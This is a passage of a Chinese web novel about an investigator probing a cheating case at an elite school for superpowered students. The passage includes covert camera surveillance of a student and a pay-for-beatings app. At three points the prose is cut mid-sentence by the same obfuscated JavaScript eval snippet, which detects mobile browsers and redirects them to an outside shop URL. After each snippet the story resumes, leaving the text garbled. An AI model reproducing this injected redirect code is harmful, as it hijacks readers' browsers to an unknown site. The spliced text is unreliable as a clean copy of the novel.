高曜点头。单荔和顾昐有过一段短暂的友谊,调查作弊案的始末,询问她是很自然的。 他说:“您想找她,我帮您转告。” 再回到校办,Ami秘书已换了一幅面孔。她起身,欠身鞠了一躬,双手捧着闪光的小卡,毕恭毕敬将它交还到林昭手中。 “您是衍华的朋友?”她的声音变得黄莺般宛转醉人,“我认识您是谁了。黎沅转发过您的视频。您是……您是黎沅的朋友。” 衍华? 听过的名字。但它是什么? 眼前的脸庞端方美丽,林昭看着她,却生出了毛骨悚然的感觉。衍华……衍华,听起来像是哪个基金会的名字。基金会…… 地质事故那一天晚上,两位超能力英雄大秀身手的艺术品拍卖晚宴! 衍华基金会是主办方。 衍华,晟华。基金会是这所学校的股东吗? 林昭从她手中接过小卡:“是的。” Ami笑得更美了:“衍华的朋友,就是我们的朋友。请问有什么可以帮到您?这边请。” 半小时后,林昭带着全体高功能教职员工的名单,全体学生的家庭通讯录,盖完流程章的监控录像查看许可,在Ami殷切的引导陪同下走出了团花锦簇的小洋楼。 从上至下,教学主任、年级组长、各班班导、各科任课老师、校工、保安、甚至是食堂里筹备晚餐的厨子…… 全部人都伸长脖子,看傻了眼。 这场面,谁见过啊? 董事会莅临巡查校园,也不过如此了吧。 连校办的总务秘书都要低声下气赔笑…… 深不可测!不可名状!!! 不能再给人安顿在心理咨询室这个旮旯角落里了。教导主任追悔莫及,火线安排人手,给林昭调度独立办公室。 林昭本人对身后的大风大浪一无所知。他回到工位,按部就班检查学生的能力名单。 突然,心理室的门被敲响。 门开,高二三班的班导让开堵着的位置,现出身后伶仃立着的高个子女生。 她生得模特般高挑,校服袖口露出一截白皙瘦削的手腕,及腰长发又黑又直,几刀剪成了凌厉的公主切造型。 是林昭到晟华报道头一天,敲窗的三个女孩子之一。 班导满面堆笑,献宝似的把单荔往前推:“林老师啊,您不是找单荔吗!?这不,她一回来,我就让她来见你啦!” 单荔被拍得往前踉跄一步。很快她找回平衡,又站成挑不出错的俏丽模样,抬睫淡淡看了眼林昭。 漂亮杏眼下泛着青黑,明显的疲惫。 18. 天不生我才 “我没读他的情书。”这是单荔坐下后的第一句话,“尤侃读的,他神经病。” 得,又跑出来一个新人物。林昭按了按太阳穴,在这群青春少男少女无限纠葛的复杂关系面前,感到了一丝头痛。 “太变态了……我不可能把那种信给别人看。”单荔语速飞快,尖俏的瓜子脸十分紧绷,“抢不过尤侃,那只能撕了。” 林昭想了想,道:“他写了很不尊重的话?” 单荔抿着唇,不说话。 林昭换了个话题:“介绍下你的特殊能力。” “我的……能力?”单荔扬眉,“我的能力,它没有用。” “没有哪一种能力是真正没用的。”林昭道,“当前每一种被发现的特殊能力,都在不同程度上突破了目前已知的宏观世界规律。即使只是理解、开发其中的一部分,也能显著提升科技水平,加快社会生产力的发展。” 单荔:“……” “还以为你要给我灌鸡汤。”她松口气,“但就算你这么说……” 她捋了捋肩下一刀剪平的鬓发,从校服口袋摸出一个果冻色的小包,取出甩开一柄折叠修眉刀,割断了几缕黑亮的发丝。 扣上小包放回衣袋,鬓发边沿短出一截的发丝已悄然拉伸,复原成了原本的长度。 “就这样而已。” 就这样而已?林昭提醒她:“你看过《金刚狼》吗?” 单荔抽了抽嘴角:“啊这……好像是很老的电影吧。” “上个世纪的英雄电影。”林昭道,“主角具有超凡的伤口愈合能力,能从手背上生出骨刺利爪作为武器。” 单荔理解了他的意思。她垂眸看自己平放在膝上的细长双手:“角质蛋白。” 头发和指甲的成分,上皮组织的成分,构成细胞骨架必不可少的成分…… 还是猪手饭的猪手和卤煮牛蹄筋的主要组成成分。 “可我只能控制自己的头发。”思忖片刻,单荔抬头,语气认真,“其他的,我都动不了。” “也许先尝试多换几个发型,夸张的,频繁地。”林昭给她提建议,“在可行域内,尽可能拓宽你想象的边界。” “谢谢你告诉我这些。”单荔犹豫了会儿,道,“有兴趣的时候,我会试试的。” 讨论超能力缓和了不愉快会面带来的僵滞,两人随意聊了几句,话题转到了高曜和桑士桢身上。 “认识啊,都认识的。整个晟华,就没有几个人不认识他们。”单荔道,“高曜嘛,他就是个天才……全科绩点4.0,老师和上帝的宠儿,拥有的超能力也很厉害。他学级第一,我总是考第二。每次每次都考不过他,烦。” “桑士桢的话……”单荔思索片刻,“你听过哔哩打人吗?” 什么啊?林昭微怔。“是个留言板APP,”单荔打开手机给林昭看下单页面,“给他转钱,他就帮你揍你看不惯的人。麻袋一套,嘿,拖走……就那样。” APP有模有样,留言区下单者众。林昭刷了两下,默默感叹,有钱人的孩子玩得可太花了。 “老师您不要误会。”单荔留意到林昭表情微妙一动,赶紧解释,“我们都很注意的。说个具体的吧,就是上学期,我家里新找的家庭教师对我动手动脚……那竟然还是个省级名师呢?又是我妈的朋友。能怎么办,我就下了个包季套餐……” 说到狼师鼻青脸肿来上课,最后怕到自动请辞时,单荔情绪很高,苍白的脸上也泛出了些许血色。林昭等她说完,问:“那么,就只剩下最后一个问题了。能告诉我高曜的超能力是什么吗?” “心灵感应。他好像是,能读心吧……”单荔心不在焉说着,再一次打开了手机,“林老师,留个号码!” “不可能,想都别想。”林昭严正拒绝,“你是未成年人,别的老师索要你的私人联系方式,你也不能给。” 单荔撇了撇唇:“不是实习嘛。又不是真的老师,干嘛那么一本正经。” 她起身,拍拍裙子:“总觉得现在吃三碗饭都不成问题。老师我走了,下次再见面吧!” 送走单荔,林昭将其余几个人的资料关掉,只留下了高曜和桑士桢的学籍档案。 两个没有在超管局留下任何记录的,“普通人”。 谎言和作弊一样,只有零次和无数次的区别。 设若高曜拥有“心灵感应”能力的命题为真,那么校办门口,两人打了照面,作为举报人一方的他,就一定能辨出自己的身份和来意。 可能惊讶,可能疑惑,但绝不可能无视自己的存在。 不可能到电梯里二人面对面时,才说出迟来的“我认识你”。 视而不见,没有反应是装的。 高曜在撒谎。 设若高曜拥有能力的命题为假。 ……那就不必废话了。 他伪装自己有超能力,骗了全校的人。 仍是撒谎,还是个弥天大谎。能骗一次就能骗第二次,他后来说的话也就不能再被采信。 每一个谎言,背后都有刻意为之的目的。 比如自己默认了教师们的误解,也没有向学生澄清自己不会飞的事实,任由舆论肆意发展,有时甚至还推波助澜,是为了调动校内资源,好让调查能够顺利进行。 高曜作为举报人、利益受损者,算是这一场的庄家,天然和超管局站在同一立场。 他本该是最毫无保留、没有隐瞒的那一个人。 偏偏他的第一反应,是伪装。 高曜在掩饰什么? 这一出闹剧里,他留下了什么把柄? 为了夏令营名额的恶性竞争?栽赃?使用非常手段,比如说效果非常近似心灵感应的催眠……获知了顾昐作弊的事实? 一时间没有答案,林昭不再往下想了。 他的任务是查出顾昐作弊的过程手法,建立翔实可信的证据链。举报人爱做什么做什么,其实都和他、和705没关系。 林昭对此的评价是,全赖超管局。 高功能群体的清查摸底工作没做好,竟然还得他在这现场猜猜乐…… 超管局,不行。 好在智能表改造已经完成,林昭专注重点,这次直接对顾昐开刀。他交给心理老师一个色彩斑斓的健康手环,委托她出面,找个办法把这个“中央科学院荣誉出品”的新一代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701079|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 减肥神器,妥善地弄到顾昐的腕子上。 心理老师捧着接过,连声说好。 林昭明天就要搬到顶头教务处的大办公室去,今天却还愿意和她说话,还想着把至关重要的工作交给她来办……这是心理老师万万没有想到的。 士为知己者死。怀抱着破釜沉舟的心情,心理老师奔出了咨询室。 林昭目送人走,操作腕表,开启了联网监控模式,将实时直播画面同步到超管局和705。 至于嵌着微型摄像头的手环能不能被妥善送到顾昐手里,就看造化了。 希望一次成功。 要是不成功,那就多送几次。 揣着火热出炉、盖满鲜红印章的监控录像调查许可,林昭敲开保安处,请调昨天下午四点到八点之间的监控记录。 留言转账就能获得麻袋套头服务。 那么只要交钱,是不是也能订购恐吓服务? 比如说…… 一只会写镜面字的兔子。 夜视红外的监控画面中,一只等人高的大兔子,闪烁着血红的眼睛,拖着笨拙滑稽的步子,从监控一角踱过去了。 林昭将时间条往前拖。追到下一个摄像头视野,兔子人绕过纪念名人铜像,逐步靠近教务楼的方向。 全身都藏在玩偶装里,手部也套着肉球掌套。还有一根仙女棒闪啊闪,装备完全,不仅无法被认出是谁,写字时也不会留下指纹。 兔子大概还预见到了会有人来查调监控。教务楼前最后一个监控的视野中,它突然抬头,将那双一眨不眨的死红的眼睛盯准了摄像头。 三瓣唇开合,妖异地笑了笑。 下一秒,兔子人猛然一矮。白色长耳扎进灌木丛,悉簌几下,不见了。 林昭冷笑:“还知道躲进监控死角。” 一会儿兔子一会儿马的,是准备凑个十二生肖怪谈? 当然,这兔子也未必就是桑士桢了。玩偶头套的好处,就是能遮掩皮下的真面目。可能是故布疑阵,也可能是他人冒领……单看监控画面,还不能轻率下结论。 但套个麻袋挖俩洞就能遮掩真面目,也一样够吓人。出于什么目的,非得费劲穿闷热的玩偶服? 保安队长和他的小弟面面相觑。他们已听说这位林老师能力非凡,地位也不一般。但他们想不明白,这样一位大人物,为什么非得和一只兔子过不去。 “林老师啊,这兔子没什么特别的。” “它是话剧社的兔子。” “每天放学后,他们都在……” “排练。” “排那个,新改编版的老鼠嫁女。” “不只是兔子呢,猴鸡狗猪,龙蛇牛羊……都有!” “十二生肖,十二生肖!” “都是老鼠嫁女宴的座上宾!” 林昭:“。” 还真有十二生肖在等他啊! 两个保安中较年轻的那一个,看着有些面熟。林昭思忖,想起来他到晟华报道第一天,见过这名保安甩着T棍划圈巡逻过街。 林昭转向他:“话剧社的玩偶服,平时存放在哪?” “你带我过去。” 19. 万古如长夜 「姓名:吴亚瑟」 「能力:一贴通行」 「类型:重构系」 「烈度:超微级」 「描述:能够在微小尺度上,控制包括机械锁、电磁锁等的开合状态。」 「能力效果:在闭锁着的门上贴上特定的贴纸,即可将门锁状态从闭合切换至打开,可简单理解为状态值自0到1的切换。钳制该能力的扳机数量较多,故在综合评定中,将之评定为超微级。」 话剧社的排练教室坐落在教学楼至体育场之间的学生活动区。晟华讲究素质教育、全面发展,社团活动也以丰富多彩、新锐怪奇出名。 “社团教室的钥匙,我们这里一般是没有的。”吴亚瑟和林昭做说明,“不少社团资产是学生自掏腰包添置的,就那样堆在社团教室。他们怕不安全,钥匙磁片一般就保管在社长、社团经理、还有指导老师手上。” “所以需要你协助。”林昭道,“你能开门吧。” 吴亚瑟蒙受赞许,有些不好意思。他探手抓了抓后脑勺,窘道:“哎,可以是可以,但一般都不用这个能力……麻烦得很。” 快到排练教室,他示意林昭停在转角盯着自己别动,又拿对讲和保安队长说了几句什么。 准备停当,吴亚瑟抽出张“正在营业”的圆形贴纸,撕开拍在门上;又摸出一支油性笔,在上面写下一个巨大的PULL。 接着他捏起拳头,在贴纸上咚咚咚敲了十几下,摆了几个逃生出口小人奔跑的奇妙姿势,叽里咕噜喊了一大串听不懂的台词,最后又把脑袋直直往前,碰一下撞在门板上。 咏唱施法结束。 电磁锁脱落,门开了。 “有十二个扳机吗?这么多约束条件,我还是第一次见。”林昭迈进排练教室,一眼找到了置物架上,安静躺着的十二生肖玩偶服。 吴亚瑟挠挠头:“十三个。很复杂的,不能用于恶途,必须有人在旁监视……咳,别问了。” 玩偶服里,独独缺了马的脑袋。林昭扫描头身分离的兔子服,在头套和服装的内侧检查到了少量的光量子残留痕迹。 捻了捻玩偶服,林昭取出一柄尖嘴镊子,刮下数粒泡沫胶,收进密封袋装好。 检查结束,两人出门,排练室大门合拢,电磁锁自动吸附关牢。 吴亚瑟走出来,看了看走廊角落里的摄像头,问:“林老师要不要调这里的录像?仔细看看,说不准能找到把玩偶服送回来的那个人。” 排练教室和教务楼之间隔了好几栋楼,晚自修时间大部分学生都没走,人山人海里要隐藏踪迹,是很容易的一件事。林昭合拢表盖:“不必了。” 确定了嵌着摄像头的手环已作为“祝贺礼物”送到顾昐手里,林昭叫了无人机快送,将数据和材料样本送回705,自己回了趟家照看飞碟,转身出门,顶着夜色去超管局。 监控室大屏前,拉开两张转椅。 温准正坐,林昭反着坐。他趴椅背上,给三十几个小时没睡的脑袋找了个支撑,就着这个没形没样的坐姿,开始掏口袋。 左一张白条,右一张发票,大大小小参差不齐,迅速攒成一团皱纸球。 温准眉头一跳。林昭无知无觉,拎着这团纸要往他眼前递:“温科,您看这次的费用——” 温准:“不行。” 林昭好脾气地:“还没说具体类目呢。” “你急着要现款,能理解。但,我也没办法给你保证。”哐当,温准拉开控制台下一只铁皮抽屉,“报销的情况以前说明过。能不能报,能报多少,要看预算结余,最终由财务部门做出判断。” 他敲了敲桌板,示意林昭过来自取粘发票的材料:“哪些要报的,分类对齐贴好,先订起来。” 讲了半天,没一句正面回答。林昭“哦”了声,抓过白纸和胶水,没有灵魂地做手工活。 监控屏上,嵌在健康手环内侧边沿的微型摄像头以刁钻的偷窥角度,实时转播顾昐结束晚自修、走出学校,登上校门口来接的黑色卡宴的全过程。 顾家父母海外公干,顾昐自己和管家及几个佣人一起,住在东璞中环滨江一套高空大平层公寓。 公寓离晟华不远,十几分钟就到。进了门,这小子直奔自己房间,砰砰将管家关在外头,甩了书包沙发上一滚,手机联上投影屏,瘫着打开一款时下火爆的手游。 摄像头随他动作左右晃动,一会儿满屏红橙黄绿特效光污染,一会儿又是游戏里女角色的大长腿特写。 循环往复,令人起疑。机械重复的点点点动作,到底是有什么乐趣可言? “麻烦。”林昭啪一下盖回固体胶盖子,“不贴了。” 闲搁在桌上的纸团只缩水一半。温准睨他一眼:“不报了?” “报这几个,就行。”林昭曲指一划,推出去几张贴得花花绿绿的A4纸,“主要就是摄像头,还有一些耗材和试剂的费用……” “摄像头不行。”监控屏里,顾昐已保持压着肘玩游戏的姿势快十分钟了。手机屏幻彩灯光油腻,偶尔打亮他肥嘟嘟的米其林下巴。温准移开视线:“未经公民本人允许,采用偷拍偷录手段获取证据,违法。” “那不还是和你们学的吗。”听闻这话,林昭不由好笑,“真不能想想办法?比如,补个条子什么的,以前不也……” “我没把这事交代给别人,自己来加这个班,为什么?”温准耐着性子,将话挑白了说,“大半夜的不睡觉,跟这儿来看一高中生直播午夜档……是我喜欢吗?” 懂了。 这意思是能报,就是费时间。 林昭知情识趣地闭上了嘴。 和体系内的重要部门打交道,是件特别抽象的事。说行的时候未必行,说不行的时候,改改措辞说不定就通过了。原则上不允许就是允许,但要问个明白敞亮,那又该不行了。 “那就……谢谢温科。” “705,是超管局的长期合作伙伴。”温准拧开另一只抽屉,捻出几张粉红色的票据,“你们的情况,每季度该有六张月度停车券可以领。你先拿这些走,下次记得去保卫科,把去年的补上。” 林昭无语了。705没车,他自己也是骑车和乘公共交通比较多。公务停车券在外头确实是有市场,也有人愿意开价收购,但…… 能怎么办呢,组织都给安排好了,感恩戴德吧:“谢谢温科提醒。” “没注意这方面,我的疏忽。”控制台前,蛋黄色的食堂餐券,湖蓝色的供销社提货券,薄荷绿的一次观影券,镭射色的超商折价券……彩色的方纸片越垒越多,“有需要,你看着拿。” 林昭出神两秒,做了个缓慢的深呼吸,小心翼翼拢住一桌子的纸片。 “可以吗。”这给得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701080|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也太多了! “再办个就餐卡。”温准眉眼微松,语气一如往常,“以后来办事,至少有个地方吃饭。” “唔噗噗噗——” 一声粗痛干呕抓回注意力,监控画面骤然一震,手机啪地摔落地上。五根白胖手指倏然抬起,扼住屏幕正中埋没在肥肉间的粗短脖子。 林昭嘶了口气:“为什么掐自己?” 温准凭经验断言:“他要吐了。” 林昭:“……” 果真,下一秒顾昐扣着脖子摔开卫生间的门,洗手台前喘着粗气,身体不住抽动着,就着水池吐了好大一会儿。 吐到没什么东西可吐了,他又难受地干呕了好几声。 龙头拧开,水声汩汩,掩住逐渐缓和的呼吸声。冲走秽物漱了几遍口,顾昐抬手洗了把脸。飞溅水花中,折射出半张青白恫恐的脸。 卧室里手机嗡鸣,顾昐表情惊颤,扯了毛巾用力擦拭掉面上的水珠,返身回去接电话。 “喂,妈。” “嗯,入围了。” “没事,没人讨论这个。快高三了,大家都忙自己的,谁管你。” “好的,好的。我知道。要搞好关系。请全班同学吃饭……呕。” “没事,就刚吃了点夜宵,吃撑了。” “我知道我知道,别说了……你就放心吧。” 挂了电话,监控里传出嘭一声闷响。手环随着顾昐摔进地毯上软塌塌的懒人沙发,监控屏一暗,什么都看不到了。 林昭不觉放轻了声音:“能不能调他的通话记录?” “听到铃声来电,他的反应明显不太正常。” “再看看。”温准道,“可能还有别的发现。” 呆然片刻,顾昐抓过躺在地上的手机,关掉手游,打开直播平台,熟练登入一个虚拟主播的直播间。 日系赛璐珞画风的卡通女生灵活变换着各种可爱娇怯的姿态,正在和评论区实时互动。 “这、这个是……”林昭的表情僵住。 黑色长发,公主切。 尖而小的瓜子脸,杏眼眼尾标志性地上挑。 不能说是一模一样,但简直就是单荔的二次元版本形象。 “嗯嗯~?要看人家跳舞吗?唔……人家也很想啦,但是今天聊了很多,好像稍微有点累了耶~” “跳舞好啊,跳舞!!!”顾昐捧着手机乐呵呵地笑,动手打赏了两个航母,“元气活泼的璃璃子最喜欢了~快点,快点来!!!” 煽情的乐声响起,虚拟主播蹦蹦跳跳载歌载舞,顾昐也跟着画面扭动身躯,神色欢快无比。 原来是这么回事。 顾昐向单荔告白,就因为她长得像他自己喜欢的虚拟主播!!? 难怪单荔那么嫌弃他…… 刚才生起的丁点儿同情瞬间灰飞烟灭,林昭调整了下坐姿,重新把脑袋搁回椅背上,生无可恋等这场即兴宅舞秀落幕。 刻意卖萌的喊call声中,温准按了按额角,头痛道:“和他耗在这儿,有意义?” “这个……我觉得了解当事人的行为模式,它是有必要的。”林昭尽可能不带偏见地说,“再说,跳个宅舞也不算什么不好的事,它就是自娱自乐而已……” “你能理解?”温准点头,“那你看吧。” 他起来,翻身推门出去了。 20. 重振晟华荣光 十分钟后,监控室的门再次被推开。 挟着一身晚风凉意和稀薄烟气,温准抬脚进门。 “你错过了——”林昭跳起来,一脚踢上椅子,撞出哐当一声巨响,“你猜顾昐刚才干什么了!?” “他跳完舞,打了通电话!” 温准:“……” 算个事么,这也值得显摆? “给谁打的?说什么了。”控制台前,温准放下一盒冰牛乳,“喝了它。” “不知道啊?听不清。”林昭坦坦然道。他探手,摸了摸牛奶盒泛着冰凉水汽的屋脊:“摄像头收音效果不好,顾昐又刻意压着声音说话……不过,这就更说明这通电话可疑。” “打完电话没几分钟,他还给人转了个账。”林昭又摸了摸牛奶的脑门顶,视线不甘心地转向温准拎在手里的罐装功能饮料,“我能……” 牛奶顶什么用,他是缺觉,又不是缺钙缺维他命D。 温准看他一眼,指关用力,“喀拉”一下扯掉拉环:“被人敲诈?类似的案例,以前倒也是听说过的。” 说完,他握着铝罐抬到唇边,抿了口。 ……没别的选项了。 林昭拿走冰牛乳,捏在手里抛来抛去:“确实有可能是勒索,但也不能就这样下定论。转账以前,顾昐先通过‘哔哩打人’下了个订单。可是付款行为并非通过APP,而是经由另一个支付渠道完成的。” 温准不置可否:“电话,APP,转账。这三件事,从时间顺序上来看紧密相关,实际各自独立,不具备关联性。” “他完全可以给A打电话,通过B购买服务,高兴了再给C打个赏。” “所以通话记录以外,我还需要提取顾昐的对外转账记录,确认款项的流动方向。”林昭给温准展示他晚上刚下好的“哔哩打人”,“我看了看,这个APP没有开通付款渠道,免费的。可是我们都知道,免费套餐里的增值服务,往往才是最贵的、上不封顶的那个东西……” 戴着马头套的少年身影,突然荡悠悠逛过林昭的脑中。 他飘进教室时没声没响,走得像一条不存在的幽灵。 “——非常狡猾的做法。”林昭如此肯定地说。 看着顾昐做了会儿作业,温准送林昭上地面:“我找两个人跟着,再盯他几天。有什么情况,随时通知你。” 林昭想着别的事,心不在焉顺着他的话说好。 出一层大厅下台阶,夜色中林昭左右看看,辨了辨方向。以为送客到这里总该回去了,没想到温准还是并着他走下来:“通话记录,明天给你。调账比较麻烦,预计三到五个工作日。” 林昭又说好。三周前的拍卖晚宴盗窃案,已明确蜘蛛人有同伙协助作案,目前正交由超管局在做地毯式排查。 调查科这边以疯狂加班出名,大家平时都挺忙的。能允诺一周内给到他这些信息,已经远超预期。 走近车棚,山地车车头的感应灯亮起,荧光烁烁。林昭正想道别,温准两步上前,直接给他的山地车架了起来。 林昭一惊:“别——” 来不及了。一声尖锐的警报陡然鸣响,撕开雾霭沉沉的夜。林昭哭笑不得,赶紧命令智能管家关掉保全系统。 “有意思,轮到我成犯人了啊。”等到铃声戛然,温准开了个突兀的玩笑。 呃…… 根据为人处世的基本准则,林昭认为他最好在这里配合地笑一笑。但他努力了两秒钟,终究还是笑不出一点。 “抱歉,”他真诚地说,“我该早点注意到的。” 林昭自问平时和温准不算对付,但这位调查科长素来作风端正、业务拔尖,下属间颇有人望,往上也深得局长周停信任,是众人公认,竞争副局一职的不二人选。 若是被同事下属撞见他扛自行车还触动警铃,场面滑稽,影响恐怕不好。 仕途多艰险,龙门高难跃,正道难行,林昭并不想挡他的路。 山地车被温准放进一辆黑色SUV的后备箱。林昭看着后备箱合拢,绕到后车门就想往里爬。 “后排那是领导位。”温准的声音从前传过来,“你是吗?” 副驾驶的门被他一把推开:“这儿来。” 体制内不可知的规矩真的多……来回折腾几回,困意侵袭上来,林昭没心情再调侃什么。他攀上副驾驶座系好安全带,取下仪表台上搁着的牛奶盒,沿虚线撕口。 放到这会儿,摸着不怎么冰了。 ……但,车里为什么有牛奶? 刚才下楼,他手里空的啊。 “你忘拿了。”温准的声音鬼似地,幽幽凉凉刮过他耳尖,“怎么,有问题?” 林昭:“……” 抱着微妙愧疚的心理,林昭仰起脖子,两口给它全闷了。 无乳糖牛奶口感平滑,不滞不重,制作工序中被分解打散的乳糖化作一股淡淡的甜香,滑过舌尖,滚落入喉,抚平了他空荡荡揪着痛的胃部。 “……好喝。”林昭由衷感叹一声,仔细端详空掉的包装盒,“下回我也买这个。” 黑色SUV平稳发动,遁入夜色开往外环。空牛奶盒被温准接过,拉开储物格,往里随手一丢。 档案袋,文件夹,证件本,票夹……四四方方垒好的地基上,平整排列着充电器、停车牌、蓝牙耳机、钥匙套、香薰盒和一副银闪闪的金属烟夹。 教科书级别的收纳水平,就像温准这个人,从里到外没有一根多余的衣褶,每一颗扣子都是一丝不苟的精确。 空牛奶盒安静斜躺着,形状奇异不平,好似突入太阳系的天外来客,破坏了某种既定的规则。 储物格合拢,古怪的感觉挥之不去。林昭揉了揉鼻子,别过脸看向窗外。 车到鱼珠巷口,林昭和温准道谢,推门跳下,自己开后备箱搬了自行车。 一星火燃起,给黑夜烫了个洞。 温准坐在车里,任烟烧着,信手翻阅了几份白天没看完的文件。 后视镜里,三楼窗洞中灯光亮起。 他掐了烟,一脚油门踩下,掉头离开了鱼珠巷。 隔日,晟华校委书记从外地开会回来,清晨到岗,觉出校园氛围与往日大有不同。 可,不同在哪呢?一时间也讲不上来。 校门口私家车仍排着长队,争相挤向校门,唯恐让少爷小姐们多走一步路。林荫道上,女生们摆弄的手机的剔透指甲尖仍闪烁着校规不允许的水晶光泽,男生的桌斗深处,卷成团的卷子和习题册里藏着软包装的几根散烟。 最近流行的热门话题,小测,玩了什么游戏,某某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701081|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某快要过生日送什么好,下周末去哪露营,谁和谁在一起又被谁目击……聊天的内容也似老生常谈,不见有什么新奇。 早自修的铃声打过,吵吵嚷嚷的校园倏然静了。树叶相撞,簌簌地响。书记锁着眉,背手巡过体面气派的教学楼,冷不丁听到窗下两个学生窃窃私语。 “那你说,实习老师那设备干什么用的?” “光电效应啊!你看这照片……像不?” “是有点像哈。但我觉得吧,没那么简单。” “那就是那个啊!光变物质!绝对……不会错……” “你又懂了?啥是光变物质,说来听听?” “布赖特-惠勒过程。”这一班的班导走近,敲了敲聒噪学生的课桌,“两个高能光子撞击后产生物质的过程。” “不就那伽马射线暴吗。”后排有个学生插嘴,“这谁都知道呗。” “噢,博闻广识啊。”班导转回讲台上,提高了声音,“那么大家也该听说过,伽马光子对撞机至今仍未建成,射线爆发究竟如何影响到人体和我们生活的行星,至今仍未有一个公允的结论。” 前一刻躁动不休的教室,不觉安静了下来。 就着这个话题,班导介绍了几句前沿科技最新的发展状况,而后结语:“……在幻想的触角抵达宇宙彼端,心灵足以承载黑洞无限质量之前,知识是你们唯一的装甲和武器。” 环行一周,图穷匕见:“所以,好好念书吧。” 说回这个就没意思了。学生们惯常地唉声叹气,埋头扎回到索然无味的课本里头。 窗外,书记静悄悄地走开,站到廊下狠狠透了口气。 无法相信。 简直不敢相信…… 这班学生嘴里讨论的不再是春假、滑雪冲浪、新入手的数码设备和限量潮牌,而是高等代数、光量子理论、宇宙尽头的哲学! 重金聘请的名校教师们,也表现出了自己应有的素质和知识底蕴,满足学生们的求知欲和好奇心,顺势引导他们对学习产生兴趣…… 若能保持这个势头发展下去,晟华的校风必能涤荡一新,甩脱坊间“破落贵族”的尴尬名声;竞赛成绩和学生的整体成绩,想必也能突破当前瓶颈,再上一个新台阶!!! 而这纠风正气、清朗乾坤的功劳,自然是要归因在他这个书记的头上的。 “出差这两周,你们背着我,做了很多好事情啊。”走进教务处,书记乐呵呵地寒暄道,“不错,很不错!怎么样,有没有人愿意和我说道说道,这段日子都发生了什么有趣的事哇?” 教导主任闻声愕然,其余人等也变了脸色。 一屋子人不约而同,想到了刚搬到隔壁独立办公室的林昭。 急着赶时间昏了头,没等到书记回复邮件批准,就先给人腾了办公室…… 这是兴师问罪,来批他们先斩后奏了! 教导主任腾一下站起,急中生智道:“超管局!是超管局派过来的科学顾问!专程来指导我们对高功能学生的管理工作的!!!” 她拼命使眼色,其他人很快会意,连声附和,花样百出夸大超管局的威严和慈悲,以洗脱自己工作中的疏失。 “年轻有为,后生可畏!”一番夸赞,书记愈发喜悦,“去看看这个小伙子吧。谁带路?” 21. 吾辈义不容辞 一墙之隔,林昭挂着耳机,和研究所方面对数据。 三例异常能量样本的分析已核对完毕。单荔的两组对照数据表现一致,呈现出大幅超出超微级、又够不到可控级的烈度水平。没有深入挖掘开发自身异能,甚至还在一定程度上压抑了这种能力,推测是形成这种异常数据的主要原因。 另两段数据,一段来自敲窗的短发女生。她叫于见霜,是顾昐那一班的班长,和单荔关系不错。她的异能是植物促生,无害级,烈度低到几近于无。林昭做了记录,姑且由她去了。 最后一组异常数据,比起于见霜有过之而无不及,低到几乎可以忽略的水平。若是换做一般的探测器,怕是根本检测不出来;即使林昭这边能拿得到数据,也无法从这零星残留的光量子中,判断出对方的分型和烈度。 而那几粒自兔子头套上刮下来的材料,和超管局用在细胞房间上的板材属于同一个高聚化合物家族,对电磁波具备良好的干扰阻抗性能,能比较好地屏蔽、隔断光量子的传播。 两相对照,结论和林昭设想的差不多。 玩偶服看着怪诞吓人,实际起到了信号屏蔽箱的作用,专门用来防御超能力探测器的。 也就是说,专门穿来对付他的。 门响三下,突如其来被推开。教导主任引着黑压压一大群叔伯姨婶,推推搡搡,将门口挤得水泄不通,偏是没一个肯进来。 热气腾腾,凭空挤出了过大年走亲戚的氛围。 林昭没亲戚可走,但他不反感这种热情。 黑压压的人群里,冒出来一个穿得最黑的领导。教导主任柔声细气地:“书记呀,这位就是超管局的林顾问了……” 书记,哪一个书记? 被马头少年挥拳揍过,脸上留了碗大淤青,养了仨月才好的书记? 林昭刷一下站起,来劲了:“书记您好。来得正巧,我有个事情想问问您……” 一招反客为主,外头的好亲戚们宕机了。 这孩子,怎么对书记也呼来喝去的? ——我有个事情想问问您……? 多大的问题啊,说问就问?他当自己是上面下来视察的领导吗? 哦不,他好像真的是上面派来的领导…… “哎呀,荣幸,荣幸。”书记和林昭握了个手,扭头冲教导主任大力使了个眼色。教导主任心领神会,招呼所有人哗啦啦退场,贴心掩了门,好让两位大佬放心谈事情。 教导主任回办公室假装在工作,实际动不动往外瞥,一见书记推门出来,她赶紧奔出询问情况。 却不知,刚被林昭当面质问为何被打,怎样被打,被打后又有何种心情感受的书记本人,现在最烦就是有别人来打探不该打探的消息。 进门红光满面,出来黑如锅底。 “你们几个,要好好配合小林同志的工作。”书记丧着一张脸道,“人家有什么需要,就及时满足人家,啊,知道吗?” 